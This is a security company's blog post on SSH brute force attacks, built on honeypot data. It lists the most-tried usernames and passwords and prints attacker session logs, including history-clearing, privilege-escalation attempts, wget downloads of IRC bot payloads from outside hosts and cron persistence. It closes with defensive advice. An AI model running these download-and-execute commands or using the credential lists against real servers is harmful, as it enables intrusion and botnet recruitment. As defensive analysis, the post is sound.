SSH Brute Force – The 10 Year Old Attack That Still Persists
One of the first server-level compromises I had to deal with in my life was around 12 ago, and it was caused by a SSH brute force attack. A co-worker set up a test server and chose a very weak root password for it. A few days later, the box was owned running IRC bots and trying to compromise the rest of the network.
That was just the first of many server-level compromises caused by SSH brute force attacks that I would end up responding to, and even after more than 10 years, quite a few of the server remediations that we do here at Sucuri are actually caused by the same thing.
Attackers just need 1 user with a weak password to get in. It doesn’t need to be root, since they can find manyways around that to increase their privileges. Even with the latest round of Apache module injections (Darkleech/CDORK) we suspect that one of the ways they get into the servers is by stolen passwords.
Because SSH brute force attaacks are so popular, we have been tracking them for a long time. And by a long time, we really mean it. Just in blog posts, We wrote a blog post in 2010 and even one in 2006 before Sucuri was even born. We have had honeypots running just as long watching and learning from these attacks.
We track these attacks via our high interaction honeypots. We get a clean server and install a modified SSHD version that logs all login attempts (including passwords) and stores all sessions. Once it gets hacked we can see all that was done along with the passwords attempted.
The attacks from 10 years ago are still very similar from the ones we see now, with one difference. 10 years ago it would take weeks after putting a server live for it to start being scanned. Right now and for the last couple of years, if we put a new server live, within hours, it starts to be scanned.
Last 7 days of scans – Analysis
By just going back 7 days and looking at our logs, we can see 15,000 attacks against it. The top username is still root (with more than 50% of the scans):#attempts #username 9012 root (58%) 179 test (1%) 116 oracle (< 1%) 87 admin 82 info 70 user 69 postgres 68 mysql 68 backup 55 guest 49 web 49 tomcat 46 michael 45 r00t 43 upload 42 alex 41 sales 40 linux 39 bin 38 ftp 35 support 34 temp 33 nagios 31 user1 30 www 30 test1 30 nobody
The top passwords are still very similar to what we reported a few years ago:365 123456 (2%) 201 password (1%) 114 12345 (<1%) 105 1234 92 root 92 123 84 qwerty 76 test 75 1q2w3e4r 72 1qaz2wsx 66 qazwsx 65 123qwe 58 12 55 123qaz 55 0000 52 oracle 50 1234567 47 123456qwerty 45 password123 44 12345678 41 1q2w3e 40 abc123 38 okmnji 34 test123 32 123456789 31 postgres 30 q1w2e3r4 28 redhat 27 user 26 mysql 24 apache
The full list is here if you are curious of the combinations they try. If you are using a password that is in there, please change it ASAP.
What they do after they get in
This is a very common question. What do the attackers do they after they find a password that works and get in?
- Nothing much! Well, at least not for a few days. They just get in and then get out.
- After a few days, they log in and change the password to a more secure one. So nobody else can "steal" what is theirs now. This is the session dump:Last login: Wed Jul 10 23:05:35 2013 from otherserver.de oracle@HONEYPOT:~]$ oracle@HONEYPOT ~]$ passwd Changing password for user oracle. Changing password for oracle. (current) UNIX password: New password: Retype new password: passwd: all authentication tokens updated successfully. oracle@HONEYPOT:~]$ logout
Note that HONEYPOT is not what the attackers really see. They see fake hostname with a fake site on the server. In this case, they guessed the "oracle" user password.
- Once they are in and the password is changed, they will try to increase their privileges to root. This is what they did when they got in as "oracle":[oracle@HONEYPOT ~]$ w 23:46:08 up 4 days, 4:58, 1 user, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT oracle pts/1 18.104.22.168 23:45 0.00s 0.02s 0.00s w [oracle@HONEYPOT ~]$ ls -all total 20 drwx------ 2 oracle oracle 4096 Jul 8 14:50 -rw-r--r-- 1 oracle oracle 18 Dec 2 2011 .bash_logout -rw-r--r-- 1 oracle oracle 176 Dec 2 2011 .bash_profile -rw-r--r-- 1 oracle oracle 124 Dec 2 2011 .bashrc [oracle@HONEYPOT ~]$ su sudo su We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for oracle: oracle is not in the sudoers file. This incident will be reported. oracle@HONEYPOT:~ [oracle@HONEYPOT ~]$ su Password: su: incorrect password [oracle@HONEYPOT ~]$ cd /tmp [oracle@HONEYPOT tmp]$ mkdir ' ' [oracle@HONEYPOT:/tmp [oracle@HONEYPOT tmp]$ cd ' ' [oracle@HONEYPOT:/tmp/ [oracle@HONEYPOT ]$ wget ftp://dmitri:firstname.lastname@example.org/mech.tgz --2013-07-09 23:48:01-- ftp://dmitri:*email@example.com/mech.tgz .. Logging in as dmitri ... Connecting to 22.214.171.124:21... connected. Logging in as dmitri ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE mech.tgz ... 374664 ==> PASV ... done. ==> RETR mech.tgz ... done. [<=> ] 0 --.-K/s [oracle@HONEYPOT ]$ tar xzvf mech.tgz webmail/ .. webmail/run [oracle@HONEYPOT ]$ cd webmail/ [oracle@HONEYPOT webmail]$ ./start sunacai ######Multi Emech on Undernet###### ##### bil TheDemon ##### %%%%%%%% Undernet !!! %%%%%% Am gasit 1 ip-uri SERVER Montreal.QC.CA.Undernet.org 7000 [oracle@HONEYPOT webmail]$ w 23:49:27 up 4 days, 5:02, 1 user, load average: 0.07, 0.03, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT oracle pts/1 126.96.36.199 23:45 7.00s 0.05s 0.00s w [oracle@HONEYPOT webmail]$ logout
You can see they tried to "su" (become root) and then launched an IRC bot, the same as 10 years ago. This is another example when they compromised the user "guest":Last login: Fri Jul 12 20:21:45 2013 from 188.8.131.52 [?1034h[guest@HONEYPOT ~]$ unset HISTFILE [guest@HONEYPOT ~]$ unset HISTSAVE [guest@HONEYPOT ~]$ w 15:45:40 up 7 days, 20:58, 1 user, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT guest pts/1 184.108.40.206 15:45 4.00s 0.02s 0.00s w [guest@HONEYPOT ~]$ passwd Changing password for user guest. Changing password for guest. (current) UNIX password: New password: Retype new password: passwd: all authentication tokens updated successfully. [guest@HONEYPOT ~]$ uname -a Linux HONEYPOT REMOVED.. [guest@HONEYPOT ~]$ sudo su We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for guest: guest is not in the sudoers file. This incident will be reported. [guest@HONEYPOT ~]$ mkdir " " [guest@HONEYPOT ~]$ cd " " [guest@HONEYPOT ]$ wget eduteam.orgfree.com/mech.gz;tar zxvf mech.gz;rm -rf me ch.gz;cd .bot * * * * * /home/guest/ /.bot/update >/dev/null 2>&1 ./run: ./crond: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory [guest@HONEYPOT .bot]$ cd . [guest@HONEYPOT .bot]$ cd .. [guest@HONEYPOT ]$ rm -rf bot [guest@HONEYPOT ]$ rm -rf .bot [guest@HONEYPOT ]$ wget eduteam.orgfree.com/64mcc.tgz;tar zxvf 64mcc.tgz;rm -r f 64mcc.tgz;cd 64mcc --2013-07-14 09:48:11-- http://eduteam.orgfree.com/64mcc.tgz Resolving eduteam.orgfree.com... 220.127.116.11 Connecting to eduteam.orgfree.com|18.104.22.168|:80... connected. HTTP request sent, awaiting response... 200 OK .. [guest@HONEYPOT 64mcc]$ ./start horo =====>Tase<===== ++++++ *Asta e o arhiva privata* ++++++++ Am gasit 1 ip-uri Gata * * * * * /home/guest/ /64mcc/update >/dev/null 2>&1 EnergyMech 2.8.5, December 30th, 2002 Compiled on Dec 30 2002 10:21:24 Features: LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF init: Mech(s) added [ maurice ] init: EnergyMech running...
They unset their history file so bash_history doesn't show anything, tried to get root by using sudo/su and when it failed, they downloaded an IRC bot and left. This is pretty much the first steps they take. They are often patient and will come back many times and try to use exploits to get root.
SSH Brute force attacks are here to stay. As long as people use weak passwords, the bad guys will be trying to brute force them. Not only for SSH, but we often see brute forces via FTP or to admin panels (Plesk, WordPress, Joomla, cPanel, etc).
As for protecting your self against these, the first option is to use SSH keys (and disable password authentication). If you can't do that for whatever reason, make sure to use strong and good passwords. We also recommend whitelisting which IP addresses can login to the server and block everyone else out. For a reactive measure, we recommend using OSSEC (open source IDS) to block those attacks if you can't use white listing
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